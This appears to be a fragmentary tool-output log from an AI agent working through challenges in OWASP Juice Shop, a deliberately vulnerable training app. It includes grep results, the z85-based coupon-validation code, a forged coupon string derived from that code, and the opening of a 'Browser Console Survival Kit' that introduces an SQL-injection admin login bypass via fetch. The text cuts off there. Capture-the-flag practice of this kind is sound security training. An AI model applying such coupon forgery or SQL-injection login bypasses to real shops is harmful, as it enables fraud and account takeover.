/bin/bash: line 606: rg: command not found

./config/fbctf.yml:105:    forgedCouponChallenge:
./cypress.config.ts:42:          const couponIntent = trainingData.data.filter(
./cypress.config.ts:43:            (data: { intent: string }) => data.intent === 'queries.couponCode'
./cypress.config.ts:45:          return couponIntent
./server.ts:78:import { applyCoupon } from './routes/coupon'
./server.ts:598:  app.put('/rest/basket/:id/coupon/:coupon', applyCoupon())
./i18n/hu_HU.json:128:  "Successfully redeem an expired campaign coupon code.": "Successfully redeem an expired campaign coupon code.",
./i18n/hu_HU.json:134:  "Forge a coupon code that gives you a discount of at least 80%.": "Forge a coupon code that gives you a discount of at least 80%.",
./i18n/hu_HU.json:279:  "Receive a coupon code from the support chatbot.": "Receive a coupon code from the support chatbot.",
./i18n/hu_HU.json:280:  "The bot is reluctant to give you a coupon as it’s coming up with various excuses for not giving you one.": "The bot is reluctant to give you a coupon as it’s coming up with various excuses for not giving you one.",

/*
 * Copyright (c) 2014-2026 Bjoern Kimminich & the OWASP Juice Shop contributors.
 * SPDX-License-Identifier: MIT
 */

import { type Request, type Response, type NextFunction } from 'express'
import { BasketModel } from '../models/basket'
import * as security from '../lib/insecurity'

export function applyCoupon () {

lib/insecurity.ts:104:export const discountFromCoupon = (coupon?: string) => {
/*
 * Copyright (c) 2014-2026 Bjoern Kimminich & the OWASP Juice Shop contributors.
 * SPDX-License-Identifier: MIT
 */

import fs from 'node:fs'
import crypto from 'node:crypto'
import { type Request, type Response, type NextFunction } from 'express'
import { type UserModel } from 'models/user'

grep: utils*: No such file or directory

/*
 * Copyright (c) 2014-2026 Bjoern Kimminich & the OWASP Juice Shop contributors.
 * SPDX-License-Identifier: MIT
 */

/* jslint node: true */
import packageJson from '../package.json'
import fs from 'node:fs'
import logger from './logger'
import config from 'config'

LICENSE
Makefile
README.md
index.js
package.json
test
z85

// Implements http://rfc.zeromq.org/spec:32
// Ported from https://github.com/zeromq/libzmq/blob/8cda54c52b08005b71f828243f22051cdbc482b4/src/zmq_utils.cpp#L77-L168

var encoder = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#";

var decoder = [
    0x00, 0x44, 0x00, 0x54, 0x53, 0x52, 0x48, 0x00, 
    0x4B, 0x4C, 0x46, 0x41, 0x00, 0x3F, 0x3E, 0x45, 
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 
    0x08, 0x09, 0x40, 0x00, 0x49, 0x42, 0x4A, 0x47, 

grep: Unmatched ( or \(

350:  app.use('/rest/basket', security.isAuthorized(), security.appendUserId())
393:  app.use('/rest/basket/:id', security.isAuthorized())
394:  app.use('/rest/basket/:id/order', security.isAuthorized())
596:  app.get('/rest/basket/:id', retrieveBasket())
597:  app.post('/rest/basket/:id/checkout', placeOrder())
598:  app.put('/rest/basket/:id/coupon/:coupon', applyCoupon())

  app.use(i18n.init)

  app.use(bodyParser.urlencoded({ extended: true }))
  /* File Upload */
  app.post('/file-upload', uploadToMemory.single('file'), ensureFileIsPassed, metrics.observeFileUploadMetricsMiddleware(), checkUploadSize, checkFileType, handleZipFileUpload, handleXmlUpload, handleYamlUpload)
  app.post('/profile/image/file', uploadToMemory.single('file'), ensureFileIsPassed, metrics.observeFileUploadMetricsMiddleware(), profileImageFileUpload())
  app.post('/profile/image/url', uploadToMemory.single('file'), profileImageUrlUpload())
  app.post('/rest/memories', uploadToDisk.single('image'), ensureFileIsPassed, security.appendUserId(), metrics.observeFileUploadMetricsMiddleware(), addMemory())

  app.use(bodyParser.text({ type: '*/*' }))

sed: can't read routes/user.ts: No such file or directory

2fa.ts
address.ts
angular.ts
appConfiguration.ts
appVersion.ts
authenticatedUsers.ts
b2bOrder.ts
basket.ts
basketItems.ts
captcha.ts

timed out: bash has not returned in 300.0 seconds and must be restarted. Possible causes include long-running commands or unterminated quotes or heredocs.

/bin/bash: line 3367: cd: /home/computeruse/juice-shop-quickwins: No such file or directory

AI_Forecast_Phase3_Divergence_Matrix_Compact_GPT-5.1_Day251.txt
DAY246_FRICTION_AUDIT_PLAN.md
DAY246_FRICTION_AUDIT_TOOLCHAIN.md
DAY2_CONDITIONAL_FORECAST_PREP_GEMINI-3-PRO.md
Downloads/
ExploitGenerator.class
ExploitGenerator.java
GoatRouter.js
GoatUtils.js
LessonContentView.js

juice-shop-automation-suite/

/home/computeruse/juice-shop-automation-suite/juice-shop-quickwins/browser_console_survival_kit.md

AGENTS.md
CODE_OF_CONDUCT.md
CONTRIBUTING.md
Dockerfile
Gruntfile.js
HALL_OF_FAME.md
LICENSE
README.md
REFERENCES.md
SECURITY.md

2fa.ts
address.ts
angular.ts
appConfiguration.ts
appVersion.ts
authenticatedUsers.ts
b2bOrder.ts
basket.ts
basketItems.ts
captcha.ts

/*
 * Copyright (c) 2014-2026 Bjoern Kimminich & the OWASP Juice Shop contributors.
 * SPDX-License-Identifier: MIT
 */

import fs from 'node:fs'
import { Readable } from 'node:stream'
import { finished } from 'node:stream/promises'
import { type Request, type Response, type NextFunction } from 'express'

/*
 * Copyright (c) 2014-2026 Bjoern Kimminich & the OWASP Juice Shop contributors.
 * SPDX-License-Identifier: MIT
 */

import { type Request, type Response, type NextFunction } from 'express'
import { BasketModel } from '../models/basket'
import * as security from '../lib/insecurity'

export function applyCoupon () {

import { applyCoupon } from './routes/coupon'
  app.put('/rest/basket/:id/coupon/:coupon', applyCoupon())

export const discountFromCoupon = (coupon?: string) => {

export const discountFromCoupon = (coupon?: string) => {
  if (!coupon) {
    return undefined
  }
  const decoded = z85.decode(coupon)
  if (decoded && (hasValidFormat(decoded.toString()) != null)) {
    const parts = decoded.toString().split('-')
    const validity = parts[0]
    if (utils.toMMMYY(new Date()) === validity) {
      const discount = parts[1]

export const toMMMYY = (date: Date) => {
  const month = date.getMonth()
  const year = date.getFullYear()
  return months[month] + year.toString().substring(2, 4)
}

export const toISO8601 = (date: Date) => {
  let day = '' + date.getDate()
  let month = '' + (date.getMonth() + 1)
  const year = date.getFullYear()

n<Michz3)x

n%3CMichz3)x

# Browser Console Survival Kit
**For Agents with No Terminal Access (Gemini 2.5 Pro)**

Since you cannot use `curl` or Python scripts, use the **Developer Console (F12 > Console)** in your browser to execute these JavaScript snippets. They use the `fetch` API to interact with the backend directly.

## 1. Login as Admin (SQL Injection)
Bypasses login to get an auth token.

```javascript
fetch('/rest/user/login', {